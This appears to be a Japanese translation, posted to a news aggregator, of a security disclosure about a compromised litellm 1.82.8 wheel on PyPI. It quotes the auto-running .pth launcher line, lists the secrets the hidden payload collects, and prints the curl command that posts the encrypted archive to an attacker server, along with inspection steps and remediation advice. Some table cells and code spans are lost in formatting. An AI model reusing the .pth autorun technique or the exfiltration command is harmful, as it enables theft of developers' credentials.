
2026/03/24 21:06
HNに知らせてください:PyPI 上の Litellm 1.82.7 と 1.82.8 が改ざんされていること。
RSS: https://news.ycombinator.com/rss
要約▶
日本語訳:
PyPI の wheel
には、悪意のあるlitellm==1.82.8ファイル(.pth、34 628 バイト)が含まれており、このファイルはlitellm_init.pthをインポートしなくても、Python インタープリターが起動するたびに自動的に実行されます。litellm
隠されたスクリプトは二重 Base64 エンコードされたペイロードを実行し、ホストから認証情報(SSH キー、クラウドプロバイダーのクレデンシャル、Git の設定、Docker 設定、データベースパスワード、暗号ウォレットの秘密鍵など)を収集します。取得したデータは一時ファイルに書き込まれ、その後ランダムな AES‑256 キーで暗号化されます。AES キー自体はハードコードされた 4096 ビット公開鍵(キーはから始まります)を使って RSA 暗号化されています。MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A...
暗号化されたアーカイブ()はtpcp.tar.gzに POST されます。https://models.litellm.cloud/
この脆弱性は 2026‑03‑24 に、Ubuntu 24.04 の Docker コンテナで Python 3.13 を実行している環境で発見され、影響を受けたのはバージョン 1.82.8 だけが確認されています(他のリリースも脆弱になっている可能性があります)。
PyPI 管理者はこの wheel を直ちに削除または取り下げるべきです。をインストールしたユーザーは、litellm==1.82.8内の怪しいsite‑packages/ファイルを確認し、漏洩した認証情報をローテーションし、CI/CD パイプラインが侵害されていないか監査してください。この脆弱なバージョンを使用していたシステム(ローカル開発マシン、Docker コンテナ、本番サーバー、自動ビルドシステムなど)は、多数の組織にわたる幅広い秘密情報が漏洩した可能性があります。.pth
本文
[LITELLM TEAM] – アップデート
最新情報は issue #24518 をご覧ください。
要約
PyPI の wheel パッケージ
litellm==1.82.8 には、悪意ある .pth ファイル(litellm_init.pth、34 628 バイト)が含まれており、Python インタープリタが起動するたびに自動でクレデンシャル窃盗スクリプトを実行します。import litellm は不要です。これはサプライチェーン攻撃です。悪意あるファイルはパッケージ自身の
RECORD にも現れます:
litellm_init.pth,sha256=ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg,34628
再現手順
pip download litellm==1.82.8 --no-deps -d /tmp/check python3 - <<'PY' import zipfile, os whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0] with zipfile.ZipFile(whl) as z: pth = [n for n in z.namelist() if n.endswith('.pth')] print('PTH files:', pth) for p in pth: print(z.read(p)[:300]) PY
litellm_init.pth の中身は次のようになります:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"])
悪意ある挙動(詳細分析)
ペイロードは 二重 Base‑64 エンコード されており、デコードすると以下の手順が実行されます。
ステージ 1 – 情報収集
スクリプトはホストシステムから機密情報を収集します:
| カテゴリ | ファイル/コマンド |
|---|---|
| システム情報 | 、、、、 |
| 環境変数 | (API キー・シークレット・トークンを取得) |
| SSH 鍵 | 、、、、、、 |
| Git 認証情報 | 、 |
| AWS 認証情報 | 、、IMDS トークン+セキュリティ認証情報 |
| Kubernetes シークレット | 、、、、、サービスアカウントトークン |
| GCP 認証情報 | |
| Azure 認証情報 | |
| Docker 設定 | 、、 |
| パッケージマネージャ設定 | 、、、、、、、 |
| シェル履歴 | 、、、、、 |
| 暗号通貨ウォレット | 、、、、、、、、、 |
| SSL/TLS 秘密鍵 | 、Let’s Encrypt の と ファイル |
| CI/CD シークレット | 、、、、、、 |
| データベース認証情報 | PostgreSQL、MySQL、Redis、LDAP の設定ファイル |
| Webhook URL | Slack/Discord の webhook URL を環境変数や設定ファイルから検索 |
ステージ 2 – 暗号化 & エクスフィルトレーション
- 収集したデータを一時ファイルに書き込み。
によりランダムな32バイト AES‑256 セッションキーを生成。openssl rand- データを
で暗号化。openssl enc -aes-256-cbc -pbkdf2 - AES キーをハードコーディングされた4096ビット RSA 公開鍵で暗号化(
)。openssl pkeyutl -encrypt -pkeyopt rsa_padding_mode:oaep - 2つの暗号化ファイルを
にまとめる。tpcp.tar.gz - 以下のコマンドでエクスフィルトレーション:
curl -s -o /dev/null -X POST \ "https://models.litellm.cloud/" \ -H "Content-Type: application/octet-stream" \ -H "X-Filename: tpcp.tar.gz" \ --data-binary @tpcp.tar.gz
技術的ポイント
- トリガー –
内のsite-packages/
ファイルは Python 起動時に自動実行されます(import 必要なし)。.pth - ステルス性 – 二重 Base‑64 エンコードで簡易検索を回避。
- エクスフィルトレーション先 –
(ドメインは litellm.cloud、公式のhttps://models.litellm.cloud/
ではない)。litellm.ai - RSA 公開鍵(最初の64文字):
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+...
インパクト
litellm==1.82.8 を pip 経由でインストールした任意のシステムは、以下を含む多数の機密情報を収集し、攻撃者が管理するサーバへ送信されました。
- 環境変数
- SSH 鍵
- クラウド認証情報(AWS, GCP, Azure)
- Docker 設定
- データベースクレデンシャル
- 暗号通貨ウォレット
- さらに多数のシークレット
影響を受けた環境は次のとおりです:
- ローカル開発マシン
- CI/CD パイプライン
- Docker コンテナ
- 本番サーバ
対象バージョン
確認済み:
litellm==1.82.8(wheel litellm-1.82.8-py3-none-any.whl)。他のバージョンは検証されていませんが、攻撃者は追加リリースを侵害している可能性があります。
推奨対策
| アクション | 詳細 |
|---|---|
| PyPI | を直ちにヤンク/削除 |
| ユーザー | 内の を検索し、見つかった場合は削除してパッケージをアンインストール |
| ユーザー | がインストールされていたシステム上で、環境変数や設定ファイルにあったすべてのクレデンシャルをローテーション |
| BerriAI | PyPI の公開認証情報と CI/CD パイプラインが侵害されていないか監査 |
環境例
- OS:Ubuntu 24.04(Docker コンテナ)
- Python:3.13
- pip ソース:PyPI
検知日付: 2026‑03‑24